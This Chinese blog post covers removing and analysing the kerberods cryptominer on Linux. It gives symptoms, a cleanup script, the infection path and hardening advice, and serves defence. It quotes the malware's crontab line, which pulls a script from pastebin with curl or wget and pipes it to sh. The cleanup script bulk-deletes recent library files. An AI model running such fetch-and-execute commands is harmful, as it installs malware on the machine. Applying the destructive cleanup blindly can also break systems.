kerberods挖矿病毒查杀及分析(crontab 挖矿 curl -fsSL https://pastebin.com/raw)

最近公司外网带宽跑满,一些集群CPU使用率飙升,经过排查是由于redis的未授权访问漏洞导致中了kerberods挖矿病毒,把排查过程记录下来。

一. 症状及表现

  1. CPU使用率异常高,外出流量异常
  2. crontab异常,存在如下定时任务(基本上就可以确定了)
[root@mdw ~]# crontab -l
*/15 * * * * (curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sh
  1. 在以下目录下存在异常文件
    *注:ls top ps等命令已经被病毒的动态链接库劫持,无法正常使用,大家需要下载busybox,具体的安装和下载步骤将在后文提供。
[root@mdw ~]# busybox ls -a /tmp |grep ds
/tmp/kerberods
/tmp/khugepageds
[root@mdw ~]# busybox ls -a /usr/sbin |grep kerber
/usr/sbin/kerberods
[root@mdw ~]# busybox ls -a /etc |grep ld.so.preload
/etc/ld.so.preload
[root@mdw ~]# busybox ls -a /usr/local/lib |grep libcry 
/usr/local/lib/libcryptod.so
  1. 存在以下异常进程
busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods'
busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' 
  1. 存在以下异常开机项
/etc/rc.d/init.d/kerberods
/etc/init.d/netdns
  1. 常用命令动态链接库被异常修改
[root@mdw ~]# ldd `whereis top |awk '{print $2}'` |grep usr
xxx

二. 查杀方法

先把方法放在前边,后文将分析该病毒的处理逻辑、感染途径和代码分析

  1. 安装busybox
#!/bin/bash
#获取busybox安装包,也可以其他机器下载后离线上传到目标机器
wget http://busybox.net/downloads/busybox-1.21.0.tar.bz2

#需要bzip2,要是机器没有安装的话
yum -y install bzip2
#或者离线安装bzip2
#tar zxvf bzip2-1.0.6.tar.gz
#cd bzip2-1.0.6/
#make -f Makefile-libbz2_so
#make && make install

tar -xvf busybox-1.21.0.tar.bz2
cd ./busybox-1.21.0
make defconfig
#注意,这里最好在相同操作系统的正常机器上进行静态链接
#防止动态链接还被挖矿病毒的动态库劫持,导致删除文件不成功
#如果条件不允许,第二点将会重点说明
make
make install
ln -s `pwd`/busybox /usr/bin/busybox
busybox|grep BusyBox |grep v

如果最终出现以下信息,证明安装成功

BusyBox v1.21.0 (2019-04-15 19:51:44 CST) multi-call binary.
  1. 重要说明
    注意,这些挖矿病毒都会贱兮兮的更改动态链接库,如果安装有vim等静态链接的文件编辑工具工具,可以用vim打开下边的文件,注释掉里边的内容
[root@mdw ~]#  vim /etc/ld.so.preload
  1. 查杀脚本
#!/bin/bash
#可以重复执行几次,防止互相拉起导致删除失败

function installBusyBox(){
    #参考第一段
    busybox|grep BusyBox |grep v
}

function banHosts(){
    #删除免密认证,防止继续通过ssh进行扩散,后续需自行恢复,可不执行
    busybox echo "" > /root/.ssh/authorized_keys
    busybox echo "" > /root/.ssh/id_rsa
    busybox echo "" > /root/.ssh/id_rsa.pub
    busybox echo "" > /root/.ssh/known_hosts
    busybox echo "" > /root/.ssh/auth
    #iptables -I INPUT -p tcp --dport 445 -j DROP
    busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
}


function fixCron(){
    #修复crontab
    busybox chattr -i  /etc/cron.d/root  2>/dev/null
    busybox rm -f /etc/cron.d/root
    busybox chattr -i /var/spool/cron/root  2>/dev/null
    busybox rm -f /var/spool/cron/root
    busybox chattr -i /var/spool/cron/tomcat  2>/dev/null
    busybox rm -f /var/spool/cron/tomcat
    busybox chattr -i /var/spool/cron/crontabs/root  2>/dev/null
    busybox rm -f /var/spool/cron/crontabs/root
    busybox rm -rf /var/spool/cron/tmp.*
    busybox rm -rf /var/spool/cron/crontabs
    busybox touch /var/spool/cron/root
    busybox chattr +i /var/spool/cron/root
}

function killProcess(){
    #修复异常进程
    busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
    busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    busybox rm -f /tmp/khugepageds
    busybox rm -f /usr/sbin/kerberods
    busybox rm -f /usr/sbin/kthrotlds
    busybox rm -f /usr/sbin/kintegrityds
    busybox rm -f /usr/sbin/kpsmouseds
    busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf
}


function clearLib(){
    #修复动态库
    busybox rm -f /etc/ld.so.preload
    busybox rm -f /usr/local/lib/libcryptod.so
    busybox rm -f /usr/local/lib/libcset.so
    busybox chattr -i /etc/ld.so.preload 2>/dev/null
    busybox chattr -i /usr/local/lib/libcryptod.so  2>/dev/null
    busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null
    busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf
    busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf
    busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf
    busybox rm -f /etc/ld.so.cache
    busybox rm -f /etc/ld.so.preload
    busybox rm -f /usr/local/lib/libcryptod.so
    busybox rm -f /usr/local/lib/libcset.so
    busybox rm -rf /usr/local/lib/libdevmapped.so
    busybox rm -rf /usr/local/lib/libpamcd.so 
    busybox rm -rf /usr/local/lib/libdevmapped.so
    busybox touch /etc/ld.so.preload
    busybox chattr +i /etc/ld.so.preload
    ldconfig
}

function clearInit(){
    #修复异常开机项
    #chkconfig netdns off 2>/dev/null
    #chkconfig –del netdns 2>/dev/null
    #systemctl disable netdns 2>/dev/null
    busybox rm -f /etc/rc.d/init.d/kerberods
    busybox rm -f /etc/init.d/netdns
    busybox rm -f /etc/rc.d/init.d/kthrotlds
    busybox rm -f /etc/rc.d/init.d/kpsmouseds
    busybox rm -f /etc/rc.d/init.d/kintegrityds
    #chkconfig watchdogs off 2>/dev/null
    #chkconfig --del watchdogs 2>/dev/null
    #chkconfig --del kworker 2>/dev/null
    #chkconfig --del netdns 2>/dev/null
}

function recoverOk(){
    service crond start
    busybox sleep 3
    busybox chattr -i /var/spool/cron/root
    echo "OK,BETTER REBOOT YOUR DEVICE"
}

#先停止crontab服务
service crond stop
#防止病毒继续扩散
banHosts
#清除lib劫持
clearLib
#修复crontab
fixCron
killProcess
clearLib
killProcess
#删除异常开机项
clearInit
fixCron

recoverOk

三. 病毒分析

  1. 感染路径
    ① 攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码泄露登录等)。
    ② 第一台感染的机器会读取known_hosts文件,遍历ssh登录,如果是做了免密登录认证,则将直接进行横向传播。
  2. 主要模块
    主恶意程序:kerberods
    恶意Hook库:libcryptod.so libcryptod.c
    挖矿程序:khugepageds
    恶意脚本文件:netdns (用作kerberods的启停等管理)
  3. 执行顺序

① 执行恶意脚本下载命令:

(curl -fsSL https://pastebin.com/raw/xxx||wget -q -O- https://pastebin.com/raw/xxx)|sed 's/\r//'|sh

该下载后的脚本主要操作有
1> 将指令添加到crontab中
2> kill掉同类挖矿进程
3> kill掉高好资源的其他进程
4> 下载执行主恶意程序kerberods
5> 横向ssh传播

② 主进程操作
1> 添加至开机启动
2> 生成了netdns文件
3> 将netdns文件设置为开机启动
4> 编译libcryptod.c为/usr/local/lib/libcryptod.so
5> 预加载动态链接库,恶意hook关键系统操作函数
6> 修改/etc/cron.d/root文件,增加定时任务
7> 拉起khugepageds挖矿进程

四. 后续安全加固

  1. SSH
    ① 谨慎做免密登录
    ② 不使用默认的22端口
    ③ 禁止root登录
  2. Redis
    ① 增加授权认证(requirepass参数)
    ② 尽量使用docker版本(docker pull redis)
    ③ 隐藏重要的命令

五.参考

watchdogs挖矿病毒,感染分析及解决
挖矿病毒kerberods查杀及分析

你可能感兴趣的:(linux学习笔记,挖矿病毒,linux运维)